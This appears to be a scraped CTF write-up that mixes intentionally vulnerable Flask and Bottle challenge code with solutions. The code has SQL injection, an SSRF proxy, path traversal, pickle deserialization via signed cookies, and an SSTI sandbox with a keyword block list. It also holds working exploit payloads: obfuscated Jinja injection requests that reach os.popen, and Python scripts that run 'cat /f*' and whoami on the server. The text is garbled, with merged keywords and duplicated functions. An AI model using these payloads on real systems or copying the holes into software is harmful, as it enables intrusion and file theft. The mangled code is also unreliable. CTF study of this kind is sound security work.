#!/usr/bin/env python3 import flask import sqlite3 import requests import string import json app = flask.Flask(__name__) blacklist = string.ascii_letters defbinary_to_string(binary_string): iflen(binary_string) % 8 != 0: raise ValueError("Binary string length must be a multiple of 8") binary_chunks = [binary_string[i:i+8] for i inrange(0, len(binary_string), 8)] string_output = ''.join(chr(int(chunk, 2)) for chunk in binary_chunks) return string_output
@app.route('/proxy', methods=['GET']) defnolettersproxy(): url = flask.request.args.get('url') ifnot url: return flask.abort(400, 'No URL provided') target_url = "http://lamentxu.top" + url for i in blacklist: if i in url: return flask.abort(403, 'I blacklist the whole alphabet, hiahiahiahiahiahiahia~~~~~~') if"."in url: return flask.abort(403, 'No ssrf allowed') response = requests.get(target_url)
return flask.Response(response.content, response.status_code) defdb_search(code): with sqlite3.connect('database.db') as conn: cur = conn.cursor() cur.execute(f"SELECT FATE FROM FATETABLE WHERE NAME=UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER('{code}')))))))") found = cur.fetchone() returnNoneif found isNoneelse found[0]
conn = sqlite3.connect("database.db") conn.execute("""CREATE TABLE FATETABLE ( NAME TEXT NOT NULL, FATE TEXT NOT NULL );""") Fate = [ ('JOHN', '1994-2030 Dead in a car accident'), ('JANE', '1990-2025 Lost in a fire'), ('SARAH', '1982-2017 Fired by a government official'), ('DANIEL', '1978-2013 Murdered by a police officer'), ('LUKE', '1974-2010 Assassinated by a military officer'), ('KAREN', '1970-2006 Fallen from a cliff'), ('BRIAN', '1966-2002 Drowned in a river'), ('ANNA', '1962-1998 Killed by a bomb'), ('JACOB', '1954-1990 Lost in a plane crash'), ('LAMENTXU', r'2024 Send you a flag flag{FAKE}') ] conn.executemany("INSERT INTO FATETABLE VALUES (?, ?)", Fate)
defstring_to_binary(input_string): """ 将字符串转换为二进制字符串(每个字符对应8位二进制表示) 参数: input_string: 要转换的字符串 返回: 由0和1组成的二进制字符串,每个字符对应8位 """ binary_output = ''.join(format(ord(char), '08b') for char in input_string) return binary_output
defbinary_to_string(binary_string): iflen(binary_string) % 8 != 0: raise ValueError("Binary string length must be a multiple of 8") binary_chunks = [binary_string[i:i + 8] for i inrange(0, len(binary_string), 8)] string_output = ''.join(chr(int(chunk, 2)) for chunk in binary_chunks)
# -*- encoding: utf-8 -*- ''' @File : main.py @Time : 2025/03/28 22:20:49 @Author : LamentXU ''' ''' flag in /flag_{uuid4} ''' from bottle import Bottle, request, response, redirect, static_file, run, route withopen('../../secret.txt', 'r') as f: secret = f.read()#Hell0_H@cker_Y0u_A3r_Sm@r7
app = Bottle() @route('/') defindex(): return'''HI''' @route('/download') defdownload(): name = request.query.filename if'../../'in name or name.startswith('/') or name.startswith('../') or'\\'in name: response.status = 403 return'Forbidden' withopen(name, 'rb') as f: data = f.read() return data
@route('/secret') defsecret_page(): try: session = request.get_cookie("name", secret=secret) ifnot session or session["name"] == "guest": session = {"name": "guest"} response.set_cookie("name", session, secret=secret) return'Forbidden!' if session["name"] == "admin": return'The secret has been deleted!' except: return"Error!" run(host='0.0.0.0', port=8080, debug=False)
defget_cookie(self, key, default=None, secret=None, digestmod=hashlib.sha256): """ Return the content of a cookie. To read a `Signed Cookie`, the `secret` must match the one used to create the cookie (see :meth:`BaseResponse.set_cookie`). If anything goes wrong (missing cookie or wrong signature), return a default value. """ value = self.cookies.get(key) if secret: # See BaseResponse.set_cookie for details on signed cookies. if value and value.startswith('!') and'?'in value: sig, msg = map(tob, value[1:].split('?', 1)) hash = hmac.new(tob(secret), msg, digestmod=digestmod).digest() if _lscmp(sig, base64.b64encode(hash)): dst = pickle.loads(base64.b64decode(msg)) if dst and dst[0] == key: return dst[1] return default return value or default
# YOU FOUND ME ;) # -*- encoding: utf-8 -*- ''' @File : src.py @Time : 2025/03/29 01:10:37 @Author : LamentXU ''' import flask import sys enable_hook = False counter = 0 defaudit_checker(event,args): global counter if enable_hook: if event in ["exec", "compile"]: counter += 1 if counter > 4: raise RuntimeError(event)
lock_within = [ "debug", "form", "args", "values", "headers", "json", "stream", "environ", "files", "method", "cookies", "application", 'data', 'url' ,'\'', '"', "getattr", "_", "{{", "}}", "[", "]", "\\", "/","self", "lipsum", "cycler", "joiner", "namespace", "init", "dir", "join", "decode", "batch", "first", "last" , " ","dict","list","g.", "os", "subprocess", "g|a", "GLOBALS", "lower", "upper", "BUILTINS", "select", "WHOAMI", "path", "os", "popen", "cat", "nl", "app", "setattr", "translate", "sort", "base64", "encode", "\\u", "pop", "referer", "The closer you see, the lesser you find."] # I hate all these. app = flask.Flask(__name__) @app.route('/') defindex(): return'try /H3dden_route' @app.route('/H3dden_route') defr3al_ins1de_th0ught(): global enable_hook, counter name = flask.request.args.get('My_ins1de_w0r1d') if name: try: if name.startswith("Follow-your-heart-"): for i in lock_within: if i in name: return'NOPE.' enable_hook = True a = flask.render_template_string('{#'+f'{name}'+'#}') enable_hook = False counter = 0 return a else: return'My inside world is always hidden.' except RuntimeError as e: counter = 0 return'NO.' except Exception as e: return'Error' else: return'Welcome to Hidden_route!'
if __name__ == '__main__': import os try: import _posixsubprocess del _posixsubprocess.fork_exec except: pass import subprocess del os.popen del os.system del subprocess.Popen del subprocess.call del subprocess.run del subprocess.check_output del subprocess.getoutput del subprocess.check_call del subprocess.getstatusoutput del subprocess.PIPE del subprocess.STDOUT del subprocess.CalledProcessError del subprocess.TimeoutExpired del subprocess.SubprocessError sys.addaudithook(audit_checker) app.run(debug=False, host='0.0.0.0', port=5000)
GET /H3dden_route?My_ins1de_w0r1d=Follow-your-heart-%23%7d{%for%0ai%0ain%0aconfig|string|slice(1)%}{%set%0auri%0a=%0ai.399~i.398~i.20%}{%print(request|attr(uri))%}{%for%0aj%0ain%0arequest|attr(uri)|string|slice(1)%}{%set%0alip=%0ai.20~i.5~i.789~i.21~i.399~i.159%}{%set%0aglob=i.80~i.80~i.6~i.20~i.68~j.322~i.154~i.20~i.21~i.80~i.80%}{%print(lip)%}{%print(glob)%}{%set%0aap=i.154~i.789~i.789~i.20~i.5~j.8~i.154~i.155~i.5~i.68~i.226%}{%print(request|attr(ap)|attr(glob))%}{%%0aendfor%0a%}{%%0aendfor%0a%}%7B%23
GET /H3dden_route?My_ins1de_w0r1d=Follow-your-heart-%23%7d{%for%0ai%0ain%0aconfig|string|slice(1)%}{%set%0auri%0a=%0ai.399~i.398~i.20%}{%print(request|attr(uri))%}{%for%0aj%0ain%0arequest|attr(uri)|string|slice(1)%}{%set%0alip=%0ai.20~i.5~i.789~i.21~i.399~i.159%}{%set%0aglob=i.80~i.80~i.6~i.20~i.68~j.322~i.154~i.20~i.21~i.80~i.80%}{%print(lip)%}{%print(glob)%}{%set%0aap=i.154~i.789~i.789~i.20~i.5~j.8~i.154~i.155~i.5~i.68~i.226%}{%set%0aev=i.881~j.489~i.154~i.20%}{%set%0abuil=i.80~i.80~j.322~i.399~i.5~i.20~i.155~i.5~i.226~i.21~i.80~i.80%}{%set%0agei=i.80~i.80~i.6~i.227~i.155~i.5~i.155~i.227~i.159~i.80~i.80%}{%set%0apo=i.789~i.68~i.789~i.227~i.226%}{%set%0aso=i.68~i.21%}{%set%0aim=i.80~i.80~i.5~i.159~i.789~i.68~i.398~i.155~i.80~i.80%}{%set%0aiml=i.5~i.159~i.789~i.68~i.398~i.155~i.20~i.5~j.322%}{%set%0are=i.398~i.227~i.20~i.68~i.429~i.153%}{%set%0aco=j.322~i.154~i.21~i.881~j.18~j.14~i.7~i.272~i.4~i.20~i.154~i.6~i.53~i.786~i.846~i.398~i.846%}{%set%0ard=i.398~i.227~i.154~i.153%}{%print(im)%}{%print(op)%}{%print(co)%}{%print(request|attr(ap)|attr(glob)|attr(gei)(buil)|attr(gei)(im)(iml)|attr(re)(request|attr(ap)|attr(glob)|attr(gei)(buil)|attr(gei)(im)(so)))%}{%print(request|attr(ap)|attr(glob)|attr(gei)(buil)|attr(gei)(im)(so)|attr(po)(co)|attr(rd)())%}{%%0aendfor%0a%}{%%0aendfor%0a%}%7B%23
# YOU FOUND ME ;) # -*- encoding: utf-8 -*- ''' @File : src.py @Time : 2025/03/29 01:20:49 @Author : LamentXU ''' # DNS config: No reversing shells for you. import flask import time, random import flask import sys
enable_hook = False counter = 0
defaudit_checker(event, args): global counter if enable_hook: if event in ["exec", "compile"]: counter += 1 if counter > 4: raise RuntimeError(event)
@app.route('/H3dden_route') defr3al_ins1de_th0ught(): quote = flask.request.args.get('spell') if quote: try: if quote.startswith("fly-"): for i in lock_within: if i in quote: print(i) return"wouldn't it be easier to give in?" time.sleep(random.randint(10, 30) / 10) # No time based injections. flask.render_template_string('Let-the-magic-{#' + f'{quote}' + '#}') print("Registered endpoints and functions:") for endpoint, func in app.view_functions.items(): if endpoint notin allowed_endpoint: del func # No creating backdoor functions & endpoints. returnf'What are you doing with {endpoint} hacker?'
return'Let the true magic begin!' else: return'My inside world is always hidden.' except Exception as e: return'Error' else: return'Welcome to Hidden_route!'
if __name__ == '__main__': import os
try: import _posixsubprocess
del _posixsubprocess.fork_exec except: pass import subprocess
del os.popen del os.system del subprocess.Popen del subprocess.call del subprocess.run del subprocess.check_output del subprocess.getoutput del subprocess.check_call del subprocess.getstatusoutput del subprocess.PIPE del subprocess.STDOUT del subprocess.CalledProcessError del subprocess.TimeoutExpired del subprocess.SubprocessError sys.addaudithook(audit_checker) app.run(debug=False, host='0.0.0.0', port=5000)
payload="__import__('os').system('cat /f*>123.txt')" payload=[payload[i:i+4] for i inrange(0,len(payload),4)] print(payload)
for i inrange(len(payload)): if i==0: tmp=f'\n%import os;os.a="{payload[i]}"' #print(tmp) r=requests.get(url,params={"payload":tmp}) else: tmp=f'\n%import os;os.a+="{payload[i]}"' #print(tmp) r=requests.get(url,params={"payload":tmp})
payload="whoami" payload=[payload[i:i+3] for i inrange(0,len(payload),3)] print(payload)
for i inrange(len(payload)): if i==0: tmp=f'\n%import os;os.a="{payload[i]}"' #print(tmp) r=requests.get(url,params={"payload":tmp}) else: tmp=f'\n%import os;os.a+="{payload[i]}"' #print(tmp) r=requests.get(url,params={"payload":tmp})